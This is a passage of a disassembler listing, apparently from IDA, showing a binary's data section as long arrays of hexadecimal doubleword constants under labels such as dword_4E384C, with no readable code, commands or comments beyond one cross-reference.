		dd 2B04F4AAh, 0FC72C712h, 192F64A9h, 0CB5FCA62h, 8125BB1Bh
		dd 0F7C85D4Eh, 0FCF997D6h, 0A7DAFF04h, 0DCF41FC3h, 0AAD68904h
		dd 97F0C298h, 0FB496E54h, 3B3D0B1Bh, 0E828EA98h, 68610F94h
		dd 0A24C52A8h, 80E24AE9h, 4DC1BBA7h, 0C225EC27h, 90C102ECh
		dd 21F2F77Eh, 0C05B9EC1h, 84ACD5B2h, 1F13101Dh,	0BB0FBCBFh
		dd 0C98D4572h, 7EDDCEAEh, 0A446330h, 1CB9B753h,	9F5BFE88h
		dd 1AD049C6h, 0F7960953h, 0FBC56504h, 0D80AF3EFh, 32479DFCh
		dd 1B4635B3h, 3E61E721h, 0C36F28DDh, 97096A0Bh,	0DC238468h
		dd 7017A0Fh, 3495F7E9h,	265E0630h, 68408869h, 4CE65EA2h
		dd 1F04CD31h, 8051344Ch, 470DB95Eh, 70E2064Fh, 0C9101148h
		dd 3D84C9Bh, 8077B41Fh,	0DC28A1C4h, 5BE5ECD5h, 0F88CCCE4h
		dd 145264E4h, 0A483F8FFh, 0F49F34FFh, 9D418720h, 487EA27Ah
		dd 93223862h, 8B242D70h, 315F0804h, 0FF3EDFB9h,	3745B612h
		dd 5BDE37ECh, 0E5511A8Bh, 0CF685640h, 5FAA2710h, 0F65813D4h
		dd 2F3C0DB3h, 0D05E4E01h, 0BF4A9AE9h, 0EAE134AEh, 0B050C5F6h
		dd 5FF6AADFh, 56AB2860h, 5F605582h, 0AD13CF81h,	0D5E83215h
		dd 0E5A24004h, 4E6DF889h
dword_4E384C	dd 0B82F3229h, 0E93CB886h, 0B414E23Fh, 17FAB900h, 2DE96506h
		dd 20E59A5Bh, 8D846027h, 385F0807h, 0CC87429h, 0C82AD34h
		dd 3844F2C5h, 649356EAh, 32EBA160h, 385B1088h, 2E7EBA0Fh
		dd 0D3292100h, 0D95B015Ah, 0C81B32FEh, 57EEFA64h, 7060FAF0h
		dd 35BAC35Dh, 25307BDEh, 1D48F450h, 8D5BB055h, 25201BB0h
		dd 775E58C1h, 522DF31Eh, 0D634407Dh, 4F5E05F6h,	0A3665D38h
		dd 0BB5EAB75h, 20E3E01h, 0BE0A563Fh, 200B4A52h,	0E6DC20F4h
		dd 35EF801Ch, 0C75DD71Dh, 7CFC1077h, 3E8390F8h,	5EF2EBC3h
		dd 44CB5DDDh, 171011E9h, 58FBCEEAh, 42F12DF2h, 0DCD95DA4h
		dd 7AF6E63h, 0D0C7C981h, 76F153E1h, 0C055C1C1h,	0C01F59CFh
		dd 0F70C02E7h, 34E9918Bh, 0E068CC20h, 5F134CCEh, 40FEB9E2h
		dd 1A98EB83h, 0DBF35449h, 889C3C2h, 278D4548h, 758D41DDh
		dd 70610DC8h, 169E9329h, 0A07BAC02h, 0B9B29DE9h, 61E80FA6h
		dd 0FE20EF09h, 0DF1BAB05h, 0DC01403Eh, 9C171208h, 8C4EDB9h
		dd 2D5C0136h, 4FE05D93h, 5D02801h, 0EE5A4807h, 2E59C903h
		dd 91B15E20h, 0C08A6849h, 37BB4405h, 0E9CE0C21h, 5F1EB33Eh
		dd 0DB44524Ah, 8100CD0Bh, 3FF4C6F1h, 0BF24487Bh, 529D16FAh
		dd 0F5A0F2D2h, 13259855h, 4234676Ah, 64D9B570h,	7C76F482h
		dd 31945706h, 19C70C1Fh, 72282A67h, 2FD1A054h, 0DC07821Bh
		dd 0BB348369h, 0C0BE8C03h, 0D1021E0Eh, 0E32AE24Bh, 0F3D8512h
		dd 2FFB28FEh, 48AADD4Bh, 5425E184h, 82EE2E37h, 374846E5h
		dd 5D0092DDh, 2AA6607Bh, 1A8F7769h, 9FE7EE0Ah, 6BE9B80h
		dd 43D9BC24h, 0B050893Ah, 313678DAh, 0F52B421Dh, 13068F46h
		dd 9209B388h, 0FE0C4008h, 51521FCCh, 5AB61AB1h,	0C680EE40h
		dd 4B0DCB58h, 99AFEE84h, 127FDEA1h, 2B2F77A1h, 429186Bh
		dd 0A7CB2D6Bh, 0E3D1CD17h, 5C331B4h, 527D8823h,	0CED70409h
		dd 0E83CAEE1h, 3B14BAD8h, 4F9773B3h, 0E7F94BAEh, 0C707605Fh
		dd 0E3A2046Bh, 0B159E9A3h, 51B27AD0h, 0A62962B7h, 0ADA8D4AFh
		dd 71CA2809h, 8AB1EADBh, 36E2D120h, 28091676h, 85412CD8h
		dd 6FB3A8Ah, 0AE4EAE2h,	478C075h, 641F230h, 98572CEFh
		dd 30C959Ah, 1F2EE90Dh,	518C19CAh, 5282937Dh, 0F607B043h
		dd 0B31C6669h, 17765290h, 0D9939925h, 5F888BB8h, 8688A1DCh
		dd 0A9502F1Fh, 0BC025821h, 0BBBC4A35h, 0BF4F8ECEh, 0E1F05C31h
		dd 9184D02Dh, 0E5D100B3h, 0F449CD87h, 45475889h, 9D2A2980h
		dd 9890316Bh, 507AED20h, 7C51215Ah, 0F9B72C54h,	217E82E9h
		dd 77E7809h, 77AC2913h,	7A600B41h, 0B3F782ECh, 462E35Eh
		dd 597CBAC5h, 0C3C0BEEAh, 5EFBC1B8h, 0FD62C5BCh, 1B340045h
		dd 9BE915E6h, 1EBA950Ch, 263BC5DFh, 3861014h, 0C87B5DB9h
		dd 0D4BBFF6Eh, 33320107h, 30412A16h, 0F288E1ABh, 83C61608h
		dd 2EEBA97Eh, 0F86948B5h, 2C940006h, 1A0D6AD0h,	3006212h
		dd 7F473548h, 2210B5Fh,	685758C2h, 0B4513E17h, 20F16196h
		dd 0BB63C12Eh, 16CF2B7Dh, 0D1C34870h, 0B57938Bh, 0D396D5B6h
		dd 989D3571h, 80BCF3ABh, 9FB0DD08h, 0C0D8C507h,	0E56303EDh
		dd 30123EF1h, 5133EE01h, 258FDAE9h, 0D8286430h,	6834189Fh
		dd 0D81A4A88h, 0BF035704h, 44022D5Ah, 64880BEh,	0EAD0B7C0h
		dd 34F18926h, 7835DA1Bh, 12EC5E14h, 9C79FA13h, 1A46AC00h
		dd 400C5CF8h, 4BFB3110h, 0C98754C3h, 0C52BB692h, 0C4DABC8Ah
		dd 9F1EC548h, 1C26CDFh,	335D7EEFh, 0A0312119h, 3B980872h
		dd 0F4B30F27h, 0D965EFC5h, 0CFB2BC37h, 29163046h, 762A09D8h
		dd 7985447Fh, 58F4F4F6h, 5281C556h, 61CE576Eh, 8FD63F5Fh
		dd 5DD0090Ch, 640A0898h, 0B0082061h, 17584BCEh,	0D138EABBh
		dd 0F73C41Eh, 1AFE81BEh, 14A83641h, 564AB0Eh, 0D192DFCh
		dd 0F016B2ACh, 0C4CAE3B6h, 32BA6A26h, 0B1FC5658h, 1EDFBF00h
		dd 6810A8Ch, 0E65367F7h, 0D6060C7Eh, 4F2D5521h,	3E84700Eh
		dd 0CF826776h, 15664B0Bh, 398BB980h, 0E92FD2D3h, 5E378BE4h
		dd 0D586C58Bh, 0FBC6AE7Bh, 0E1024A06h, 40D56007h, 5C2FDA9Eh
		dd 0E1AF89AEh, 0FCC51C75h, 0ABF19F72h, 0D6D1F78Ch, 0EF08273h
		dd 0AD0D7997h, 0E4D0CDA2h, 9F624B07h, 5CE69AB1h, 0E02B8847h
		dd 82B95100h, 2734915Ch, 0EB6CC801h, 0B9FCE919h, 0FAADD76Dh
		dd 0E4202644h, 1555C79h, 0C4BEB25Fh, 3C2EF87h, 817F0957h
		dd 52391919h, 0CE67C22Fh, 77EB9B56h, 8A4CC60h, 198CC248h
		dd 58BEF4AAh, 95BDB4D8h, 0D786C5Ch, 4CB4910Bh, 0BD0455F5h
		dd 50130A8Eh, 21D306AFh, 0E235372Fh, 0C0BE54A9h, 4814684Ch
		dd 0E3093C93h, 5D8D2BDDh, 0FCD47685h, 9FEC5B3Fh, 0C1D3F25Bh
		dd 1006C23Eh, 0A4974D08h, 0C0FEEEFCh, 3EBBB48h,	1187D34Ah
		dd 4971E19Eh, 1A412C8Dh, 405911Bh, 0CBB22DCEh, 524F7C20h
		dd 48EDCD4Bh, 7EDDF729h, 37E55F55h, 0A07E8400h,	0C2A05020h
		dd 6DF8129Eh, 5E10B800h, 9E90121h, 0BE9D397h, 52D85668h
		dd 3B5C54E2h, 0D28617BAh, 29A5F4FCh, 0C0600140h, 32550716h
		dd 0EF01B045h, 0F26BF181h, 3CD7C124h, 52005715h, 0ED47BBBAh
		dd 0D25BF722h, 8357497h, 4A60CD87h, 2D290304h, 79925AD6h
		dd 0EF404D6Ah, 1100BD13h, 31497B2Fh, 488FE9C5h,	53A2CB1Fh
		dd 0A95D51C2h, 601457FEh, 41AB885Fh, 0E4776BE7h, 61CE4754h
		dd 206EE63Bh, 40824406h, 3B66CF42h, 7F491FAAh, 0D5A4377Fh
		dd 0A8B85340h, 0BF590A2Ch, 181050Bh, 396715CDh,	83112ACh
		dd 0B101C48Bh, 37F18082h, 1710132Ch, 6EC5E53h, 5AEBF84Bh
		dd 0EB007CCh, 58C7884Eh, 0EA21E9C2h, 0AF98D3DFh, 2026574Dh
		dd 0EB44492Dh, 3A85A53Bh, 8912E4B6h, 8832ABDAh,	214FADDh
		dd 10EF2E42h, 0F590C701h, 0EC9D9448h, 695122B4h, 0B6213C5Bh
		dd 6E2CD5E9h, 0CDDDF61Dh, 2B3986A8h, 0F7742AB2h, 1644F67Ah
		dd 45997330h, 0E1461743h, 0BD6D030Ch, 26FFEA38h, 767691Bh
		dd 31A42C7Bh, 74407FE9h, 791644C2h, 3CD51D92h, 36C68980h
		dd 6FDB306Bh, 1040150Ch, 83E9E50Ch, 0DE5486BCh,	0D53748D3h
		dd 81347E2Dh, 5935C2C3h, 0A71E7E69h, 3092CA40h,	0BE4A769Ah
		dd 878D8151h, 4317A5Dh,	600802C2h, 3E121C45h, 0E813231Ah
		dd 68859C5Dh, 2A2A1120h, 24D620E9h, 9C20103h, 0B27F167Dh
		dd 2661B8E7h, 947F82F3h, 88C809Fh, 6E5D3059h, 0FA3AB784h
		dd 5A211127h, 40BAE8EEh, 10C6806Ch, 0EF08281Eh,	0AADA9CBBh
		dd 60EDAF32h, 9C5B431Ah, 9DD999EEh, 1C937F5Ah, 576CDA03h
		dd 0D79DA22Fh, 0A92157FDh, 0B10C9F93h, 0FB80A85h, 1877642Bh
		dd 4A612D5Ch, 0DDC704Eh, 7B51E241h, 296B93C0h, 0A72F20CAh
		dd 6191B155h, 4B84688Fh, 0EED012ABh, 0D22A19CBh, 6E6817B2h
		dd 5512C84Bh, 0F5C0EE99h, 97148743h, 6694F2A2h,	9A423271h
		dd 0E3D101BDh, 58182043h, 31E467B0h, 53235697h,	95B3F2Dh
		dd 696C0080h, 2E4BBD08h, 801FD8F7h, 0AE30402Dh,	3E753547h
		dd 0F66FC52Fh, 93C3C1E3h, 61DAFC5Bh, 5C196725h,	0EB9627BCh
		dd 305DFB81h, 0C7EA0A45h, 0F6A1741h, 99C571C9h,	8CCEFEEh
		dd 54610039h, 1FF28119h, 2E261537h, 8671101h, 2060B46Bh
		dd 19B0ABCEh, 0CD96030h, 0FCFB015Ah, 0BECF543Dh, 0B45653C4h
		dd 0C0ACB109h, 0F5253F50h, 29A4B155h, 666D5EE9h, 825E9694h
		dd 82DB50B0h, 0F5E557CBh, 31B0C9A0h, 0CDB03E2Eh, 6BF6FB93h
		dd 5C55EE02h, 0F08467DEh, 0C48D0Ch, 260991C3h, 54F1C4Ch
		dd 0E3D9F673h, 0B9016FBh
		dd 94D08762h, 80FED8FFh, 84F195C9h, 0F381C839h,	0A52B87F9h
		dd 0C76920CCh, 5A718509h, 0DF8F0B28h, 4FF34120h, 624C1B74h
		dd 53F00DFh, 84E9403Ch,	0A32AE197h, 6B649FA5h, 0DB550849h
		dd 595459C2h, 0B65FADC8h, 4B54BF47h, 250F50A8h,	6D1A9023h
		dd 0F6F47FAh, 90D3612Fh, 721E0D90h, 0C8C98101h,	5127767Ah
		dd 0EAB9162Bh, 0A0FBC306h, 0D86AEF3Ah, 71485A59h, 0BA66C1C4h
		dd 40D2316Dh, 144F023Fh, 0A88CF9E9h, 40609484h,	0A61A56EAh
		dd 60E8F60Ch, 6C6888B3h, 6928C614h, 0AB09B959h,	8136B571h
		dd 0A728D906h, 41213630h, 12832AF6h, 764BA308h,	0ABE03D70h
		dd 0CC61A0DAh, 20EAD35Bh, 52128DE1h, 5EAA174Ah,	52F21C4Bh
		dd 0A5381367h, 0E957411Bh, 21D274D8h, 0C1F4D377h, 7F3E99Fh
		dd 95EF77FCh, 0EE40C456h, 5A807F3Ch, 0C6A3B066h, 1C2408A3h
		dd 7E13EF12h, 4BE9242Ch, 2F07B1ADh, 64E186BCh
dword_4E414C	dd 0A1F7680Ah, 0B603C385h, 0E07D30D2h, 0B7B80339h, 0FD014CA3h
					; DATA XREF: ___:off_42DE44o
		dd 123A7C48h, 84FD5F7Eh, 0BB071CC8h, 8F893B25h,	0C05B6B72h
		dd 0C652FD84h, 0A6FB1B9h, 4CE3CE18h, 0CBBC6415h, 0EBD5F532h
		dd 207E17A6h, 8BEFEDF7h, 4AEB7E01h, 527106Bh, 0D3288AB3h
		dd 401132C8h, 0A2042DBCh, 571B895Dh, 971588FAh,	0E4D7F72Eh
		dd 527C3010h, 79498201h, 5A0D1950h, 8B14A27Ch, 6853402Ch
		dd 56134CFAh, 0D1152CAh, 0B97DDF06h, 3135874Bh,	5206A56h
		dd 7FE707CDh, 0C6EA0952h, 0D0875145h, 0C874C4E9h, 7251D08h
		dd 98B65C67h, 0A33014D9h, 589EC92Dh, 874B732h, 94D35085h
		dd 0C0838781h, 0D0BACC7Fh, 315F161Fh, 5285AF49h, 0B15026BCh
		dd 0B06C2FB2h, 6EDAE917h, 523903F2h, 3CD5EAF9h,	6C8D5B5Ah
		dd 38330187h, 0C105B5DCh, 37EBA87Dh, 60A1921Fh,	0A654C555h
		dd 0A8B592A2h, 2DEA4EDCh, 1F37FCBh, 5B28AAD2h, 10DE2668h
		dd 64BE60C5h, 1278166Fh, 0EB9AF768h, 0A5DB5EA7h, 56E0D7F3h
		dd 55B6850h, 0E92FB952h, 6186A5A3h, 9D3CE027h, 513F989Fh
		dd 64432D68h, 5B2CF3C6h, 46F86EEh, 1AB45FBFh, 0C5840F3Fh
		dd 204929CAh, 0D569D27Eh, 0E9CA2FB0h, 51A1EF4Ah, 4750920Eh
		dd 0FC3AE1B4h, 4EBDE1FDh, 4A159358h, 0C4C6E23Dh, 0F7441B8Ah
		dd 8CCBAF5Eh, 14D5680Eh, 0E8DCAB16h, 9B4CF56h, 802AFD44h
		dd 0D9E94159h, 0BA00FFB6h, 65DA61C7h, 26680457h, 0A88F28ACh
		dd 0E089A2A3h, 822E6704h, 0D457160h, 2047A20h, 0D8FD1EF2h
		dd 1DEB5EE9h, 0DF3C2E3h, 0C328FEA0h, 8B957F90h,	5350852Eh
		dd 0EB338AF0h, 0DC87EF04h, 26C10E83h, 8664FDEBh, 93610B5Ah
		dd 69EF574Eh, 6EEC6B14h, 0E90C9CE7h, 75366A9Dh,	6E2D58C1h
		dd 0DC64EDA3h, 0DD81131Ch, 500155C4h, 0F99F60B0h, 0F5C77DA0h
		dd 139E3417h, 0A1EFDEA0h, 0E88C5E08h, 558A18Eh,	80B2C40Bh
		dd 905470CFh, 2EBE3CA3h, 0C8198DD8h, 3E5D26E5h,	607664B3h
		dd 0F7BB16FDh, 36C0606Fh, 37347AE3h, 0A90CC363h, 0C097836Ah
		dd 42EFF0C3h, 0E0E91016h, 1E5D73F0h, 4DEDD15Eh,	601299AAh
		dd 1BF0F925h, 0FD12E997h, 0C6B3FFh, 55D2B8DFh, 1E25018Ah
		dd 14361103h, 0B30D2D48h, 4EA18402h, 80617B5Dh,	4877424Eh
		dd 0FBB5D6D8h, 0A80216B0h, 5B875D8Ch, 2D72BE1Ch, 4BE5F83Ah
		dd 6B50F5B8h, 79C63BADh, 9ABF45BEh, 0AFCC774Ch,	1D02E54Fh
		dd 0C8C25FE9h, 0EE675A15h, 17119318h, 0B96FF4C1h, 338F63Dh
		dd 740EB827h, 0BAAE4EFh, 4CD3314Dh, 0FCF98909h,	68F602CCh
		dd 4A5F3978h, 68080997h, 86779D88h, 4C40D398h, 0F6BB0258h
		dd 317A390Bh, 718716FFh, 21CB49E9h, 2D32F94Ah, 7D95A959h
		dd 0A05A11C8h, 0FFA4D483h, 0A31A1882h, 30AB9026h, 68035206h
		dd 27590FD8h, 8F25B302h, 92CBAF05h, 4F269E04h, 0B981FE84h
		dd 0F70034B4h, 0EE0787D5h, 2A9FBF57h, 0E2AE4D75h, 477B16B0h
		dd 2EE7902h, 0CD5EE14Eh, 1080BE04h, 7CA9F281h, 9DF4B091h
		dd 0C7040B78h, 359441C6h, 0BCD22787h, 538723Ch,	7C07E4CDh
		dd 609F870Dh, 90A6AB3h,	83A6EA4Bh, 7D177178h, 0D02925A7h
		dd 0B2969AD7h, 0BE958058h, 2643F958h, 2058CB01h, 0E7594E08h
		dd 0A4E982B5h, 5447DFCBh, 66A5B102h, 5C57168h, 9261E9E0h
		dd 0FA4B21A9h, 0C5ED019Fh, 52E86A28h, 2EC21D10h, 0A30B0A66h
		dd 9F20C907h, 90BDF26Fh, 55CB35C4h, 0F18399BFh,	0A0843BC3h
		dd 63A5CBAFh, 0F6497D9Ah, 58B0EEAFh, 57CC104Dh,	6C745A22h
		dd 40E67095h, 5D7E58ACh, 625B7EB7h, 16551A0Ch, 5608C20Eh
		dd 0ABF435E9h, 0E8125565h, 95E2D8FFh, 0EB689BC7h, 845433BBh
		dd 0A2E95341h, 0A0B23FE0h, 0EFF2A78h, 99C105E2h, 0AC3DED87h
		dd 0CA1E13CEh, 2D7B35B7h, 0D5D6CECCh, 3FBE56E0h, 7953254Dh
		dd 0C79082C4h, 8220371Eh, 92850CF0h, 0E90D162Ah, 0F6E9C026h
		dd 3BE780DEh, 129AF40Bh, 55648B53h, 32F251A0h, 584F7D14h
		dd 4B7CE0E3h, 8B410959h, 28347B55h, 23B903CEh, 0DA294B03h
		dd 4D01C2F6h, 0E915E21Dh, 0FDC2D069h, 25BFA345h, 683F8165h
		dd 0B33B6D18h, 40327E78h, 0F1CB138Ah, 0E1C109E5h, 20F19601h
		dd 219CC472h, 32EFC85Bh, 6C50D8DDh, 28A62C0Bh, 129405F0h
		dd 1E8139F4h, 0CC66B762h, 0E2C3B5CDh, 0D249CF0Bh, 3F0BF772h
		dd 776CCADDh, 8E208E4Ch, 685E1640h, 0CBA85E51h,	0A4571F3h
		dd 9236DD2Dh, 6EFB58B0h, 49163BB3h, 216127B3h, 0EC79C005h
		dd 6BBAA684h, 7F43D409h, 0F8C5D35h, 63D5726h, 3CEEFA8Ah
		dd 0E14F4A28h, 3A4E6703h, 40C1296Ah, 0B7580872h, 2C5F5DCh
		dd 0C7574604h, 28AAA16h, 194CB25Bh, 59269D8Ah, 6FA7F02Bh
		dd 39CCC95h, 5AD02863h,	82CDB551h, 99F5ED57h, 0BA2A3467h
		dd 19C97A31h, 0EC838871h, 0E9A90E31h, 0F4917692h, 575D7002h
		dd 0DF4F07F6h, 680A7DE3h, 0A8263C5Eh, 0CD4733B5h, 0A90136CFh
		dd 10F0E581h, 343A710Eh, 0BA6D8511h, 0E1611271h, 0CE3EF97Bh
		dd 752F3C1Fh, 6F86CF30h, 0B341C924h, 1D1EE602h,	306875F4h
		dd 8482D1CAh, 85A8C56Fh, 0BE78BE4Ah, 0C80F2DE9h, 0E279A4DEh
		dd 9804167Ah, 3C5BC2D5h, 4B079FCCh, 0AA06315Eh,	0F78100A3h
		dd 0C41F1644h, 8530734h, 319632F1h, 75D878FDh, 0F63B2C92h
		dd 86D8A7A2h, 0D83D9B97h, 4F313BC2h, 0DD55891Dh, 20EEE5F5h
		dd 0C99FC1Dh, 5B2176A5h, 136D8C20h, 0EE037268h,	28A2D467h
		dd 6985F39h, 6F247033h,	2102D648h, 0D01AE954h, 1B011374h
		dd 0A60EBB47h, 0FD8BF898h, 0FF295F5Fh, 4524E829h, 59350055h
		dd 5EDFBB29h, 9F3F99h, 763405E9h, 4C327E88h, 731039D8h
		dd 49BB00A6h, 501CC437h, 132AB057h, 0B50CEF42h,	57E5F1B9h
		dd 0E4C2837Ah, 154C114Dh, 4A6918D2h, 5D7B0B09h,	0DE8531EAh
		dd 0CF12EF66h, 2FBECF15h, 8E9D7D53h, 1DA4560Ch,	16AD03EBh
		dd 0D3F70E4Ch, 0FBF65020h, 19E64E82h, 8F960C9Eh, 1AE386C0h
		dd 7484F98h, 7E73E635h,	0E8D46924h, 0A1015B45h,	762F3E8Dh
		dd 0CC1A1C6Eh, 0A59407EAh, 7F8B481Dh, 53C006BEh, 50C6240h
		dd 3A2B5728h, 728E8755h, 0B8431CCDh, 6F7D56A0h,	0CF50733Eh
		dd 0D7678021h, 0EE72D834h, 5A8B9516h, 0E4EB044h, 60C12A17h
		dd 0D3E84941h, 75AF977Dh, 0B33B7A65h, 0E8A2D7B1h, 4F670993h
		dd 0E8CCA256h, 0C037180Ch, 41D3C474h, 0FE75222Ch, 0A9AD7D0Ah
		dd 13F0C681h, 0FE204028h, 2E0B0498h, 0ECEFE97Ch, 282C4EB2h
		dd 0C342845Bh, 5A74E916h, 0F95525A8h, 4BF6C9CFh, 8B700B24h
		dd 0BB3ED3B6h, 0F71EF11Eh, 22BD2DA0h, 0DA3E90A2h, 7E0D400Ah
		dd 147A0D38h, 1F79AF70h, 0D340233Fh, 5E6EA011h,	751C16BDh
		dd 8C2C4B68h, 0C08AEF4Dh, 9F5BDAB4h, 363595D3h,	0F3B5C1AAh
		dd 0B96EAC88h, 0E2B04B2Ah, 0F8823454h, 0DFBAFC4Ch, 53231549h
		dd 4ED74B32h, 0DAC60627h, 0C3F6975h, 9F15C008h,	9B61D37h
		dd 0F5DC648Dh, 0CD008A0h, 0D2E90C14h, 16ED4BD1h, 0FCBD31EFh
		dd 632A04E1h, 90BE4955h, 184C338h, 0CD5C4A72h, 0B6CC3591h
		dd 599A4609h, 0C22A41Ah, 0F355A20Eh, 7620062Eh,	0E3E2022Dh
		dd 82A2DC7Dh, 47460C50h, 0E0131354h, 49B974C0h,	265F2C10h
		dd 0E108147Fh, 0EAEE845Fh, 494D10DAh, 7D52C60Eh, 3F22BE58h
		dd 451E70F5h, 37390B5Ah, 0CA906B42h, 9F3C5D11h,	25BEBFEh
		dd 0F2634F6h, 68568078h, 50326044h, 0A1257EB0h,	4B51F94Fh
		dd 1800FC33h, 4BD34C0Dh, 5056EB01h, 132908BEh, 4292E9F3h
		dd 5ABB6894h, 5D8B3871h
		dd 0C5BADDD0h, 354DA41h, 0FA43DA68h, 0B3E74A17h, 9F844E6Ch
		dd 6B8CB0FAh, 4830D94Dh, 0B6CB2023h, 4C8802D1h,	82095FBEh
		dd 575E26EBh, 22FD5AEAh, 76B4E940h, 0E6BD0183h,	0E820AE7Ah
		dd 88916415h, 1641D60Eh, 0AA973CEDh, 98E61D61h,	6F5D5802h
		dd 0E3DC8B0Ah, 20271455h, 0E1906186h, 1B262000h, 2A4F2D0Fh
		dd 51904E8h, 0C7233775h, 3B99B0EBh, 489D5C40h, 4A7DDD49h
		dd 7301F814h, 9FE9F109h, 0B43C684Eh, 61A12660h,	0F70304F2h
		dd 7408C0DAh, 5D5AD075h, 5E702CEAh, 8BF84FB7h, 1AD5ED50h
		dd 393F56CFh, 5157C382h, 1E8AC68h, 0E049F5E9h, 31EB0378h
		dd 0DA46C54Eh, 9A54DEE4h, 18F7FEE1h, 4C9A6871h,	0EFD24E60h
		dd 5249C000h, 0B92397E9h, 30DC0282h, 1DE27792h,	1956D02Bh
		dd 6B8FE970h, 7958D946h, 0E90CF19Dh, 64A11157h,	5F268038h
		dd 3ADD4019h, 0E5FD0193h, 0E9447F98h, 50082E7h,	316E1F68h
		dd 0EE9E63F4h, 0DADCBE01h, 47AFCFDh, 17D4AF6h, 9136866h
		dd 52017B39h, 8850EBB2h, 8F096BD4h, 31F9558Bh, 18D849C3h
		dd 0A297AD0Bh, 5D4CEE09h, 0F4B10441h, 7BF0C537h, 7C670F05h
		dd 0F0097144h, 2508D908h, 1427AB74h, 0CB014EEAh, 6CB91C41h
		dd 0E9452B41h, 0B63D51B7h, 0F5810460h, 3BFEDE9Fh, 0F8AD015Ah
		dd 0D6207248h, 5A07F6B5h, 6BD2BF62h, 59010D8h, 0AA571390h
		dd 0B4BA96Ch, 573E7468h, 0E9774D34h, 0C8AFA04Ah, 0AC4B4A2Ch
		dd 0F684A9A8h, 7CBE006Eh, 0B013942Ch, 9D8D1D15h, 182D80A0h
		dd 0E925E353h, 59823A4Bh, 4F80F15Ah, 0EE2A5FE4h, 0C311DACAh
		dd 3BE90902h, 253552DCh, 98D909BAh, 1F16A008h, 0ADF04C53h
		dd 0CE0EFE0Ch, 67A9C680h, 0F6FE4E6h, 41EE2684h,	537B0706h
		dd 3751F388h, 59E850DDh, 0F62D5A5Bh, 9EE54D8h, 827FC334h
		dd 0FFA4B837h, 45BD00ECh, 13542026h, 0FC015968h, 2053C547h
		dd 3FE49142h, 0FC68410Eh, 0AE37176Ah, 0ABF2417Ch, 38E984F1h
		dd 0CC5E2F9Ch, 0D7C28809h, 0D0300CB0h, 7A1974BDh, 0D5B49A5Dh
		dd 95AE6682h, 20FB665Dh, 5C2578F1h, 0BAE44C57h,	0AA5D2EE2h
		dd 0BBEE4479h, 1CBB4995h, 91E8D8CDh, 2C69CAE9h,	1E140F75h
		dd 4760CCD7h, 1201494Ah, 6EFC104h, 995E7757h, 9658C22Dh
		dd 43562D86h, 38B9B4EBh, 49352AD4h, 33E30408h, 18D1DE98h
		dd 83D531EFh, 48F7C1AAh, 8599D7FCh, 80BE935h, 0B6A60052h
		dd 2C70EF1Fh, 25D4F289h, 35E756E8h, 79122CE2h, 0DC38D7F7h
		dd 58C8E09Ah, 79303A76h, 7F34F237h, 5727D2Ch, 776805BCh
		dd 0E5BA091Eh, 0BFCE0761h, 8ADF7ACCh, 2D1826Bh,	7ED51DFBh
		dd 10BDA6E1h, 58B902A4h, 5D4ACC5Fh, 0DD534881h,	5D87301Eh
		dd 40E64160h, 0F2ABEEF3h, 85C3F988h, 0C47EE6FEh, 32BE2B26h
		dd 2B5C3363h, 0C7728F28h, 532FE7Ah, 5EEB25C2h, 0A51B0169h
		dd 3A21DC86h, 0CBBF8D16h, 722E1708h, 0C3AB7F35h, 45D9116Ch
		dd 51EE202Dh, 5A735F18h, 4EF150Ch, 0DD31E784h, 6581AF5Bh
		dd 8C82996Ah, 6D32B9B8h, 612C876h, 680B79B8h, 5D715772h
		dd 0E338AC8Ch, 0D4DB13F1h, 0EA5804C6h, 98EF53D5h, 87585DAEh
		dd 0E9D80697h, 33D837Ah, 0B71F11C9h, 4A1A4915h,	0F00EDF94h
		dd 0FF2D4B03h, 6930BD3Dh, 8A2B5F0Ch, 0AAC65FB7h, 9C479D02h
		dd 90E2A648h, 0C15D0443h, 3B4B73CFh, 0F8F77700h, 0BD490917h
		dd 0FA00506Ch, 813E9808h, 64478E2h, 1BE93AEEh, 4126515Fh
		dd 0D6896A94h, 91A0555Ah, 67F5579Bh, 0D0A7E1EDh, 21B57B0Bh
		dd 0EAB0E916h, 8C00C135h, 0C4642135h, 7D5384Ch,	6C72CB29h
		dd 0CB9E5117h, 5289B77h, 0D27A2762h, 41C4BD13h,	1AF12008h
		dd 2DFEE254h, 228D0816h, 732CA2F8h, 0C45599C8h,	4B52931h
		dd 70397252h, 0D11831A9h, 0FBEA6993h, 0C32DA209h, 0D4494052h
		dd 0E2C4860h, 0FD4FC838h, 0B1D6DE41h, 0A3B77A1h, 5AE9A85Ch
		dd 391141h, 781DCDB9h, 789CB8F5h, 2D028409h, 21068730h
		dd 52A256F8h, 0FA6D485Fh, 2812E1C5h, 0E5DD8429h, 0CBBA5200h
		dd 685EFB6Bh, 247F47E9h, 0CF26D34Ch, 0E5A92D2Bh, 0F42005FCh
		dd 9BB22E5Ah, 56AA2486h, 0DB0669B8h, 48277773h,	64189010h
		dd 0FC561EB7h, 175E3DEEh, 0A6540D3Fh, 8704518Ch, 6726E10Ah
		dd 0DFBC27F2h, 68093411h, 0E957B025h, 2F039E7Eh, 576B5271h
		dd 8F206046h, 345D5BDFh, 3F76801Ch, 282FF12Fh, 128756BEh
		dd 75DDB031h, 57257696h, 14264F0Fh, 609844DAh, 0C155F10Fh
		dd 765B6937h, 0DCF7427Ch, 4EF6AD06h, 69BD28Dh, 0BFFCCFC3h
		dd 71196AD1h, 0C1C8E66h, 455F2565h, 4434455Dh, 19DAE8CCh
		dd 132FA70Ch, 0F617B8B9h, 31CA4B22h, 39A35ABFh,	32B10462h
		dd 0C2FB2E77h, 0D9830905h, 532D699Ch, 68FA6AC1h, 306F2C76h
		dd 0AF0C14F2h, 4E2C1132h, 8602FF55h, 624D1247h,	75A361A2h
		dd 0B252F150h, 0D7282741h, 0E03A35F4h, 20E9C606h, 5F86CBB4h
		dd 0A645477Dh, 61288C0h, 4FFFC393h, 2A865DABh, 1906598h
		dd 2D1BE83Ah, 2DBA0265h, 0A960BEAh, 7FB2453Fh, 444F6B9Eh
		dd 0E6EBC6D8h, 2CBC48A8h, 0F7AD1657h, 91D12102h, 81565A01h
		dd 505D2683h, 0C8280714h, 988B07F7h, 1126FC12h,	8413DB9h
		dd 0EF257A62h, 347958C2h, 10F20540h, 68470901h,	0CDD46A8Fh
		dd 31307360h, 1F609D23h, 0DA3F431Dh, 5DEF9447h,	4B140585h
		dd 0BEC2CB8h, 45684F04h, 0FF8CBE51h, 4EE412B9h,	1FB70952h
		dd 61800D5Eh, 5807CF1Eh, 7733002Dh, 0DF354F89h,	0F8309BB1h
		dd 1B22F150h, 0D7384C48h, 5A07F328h, 704F958h, 7698692Eh
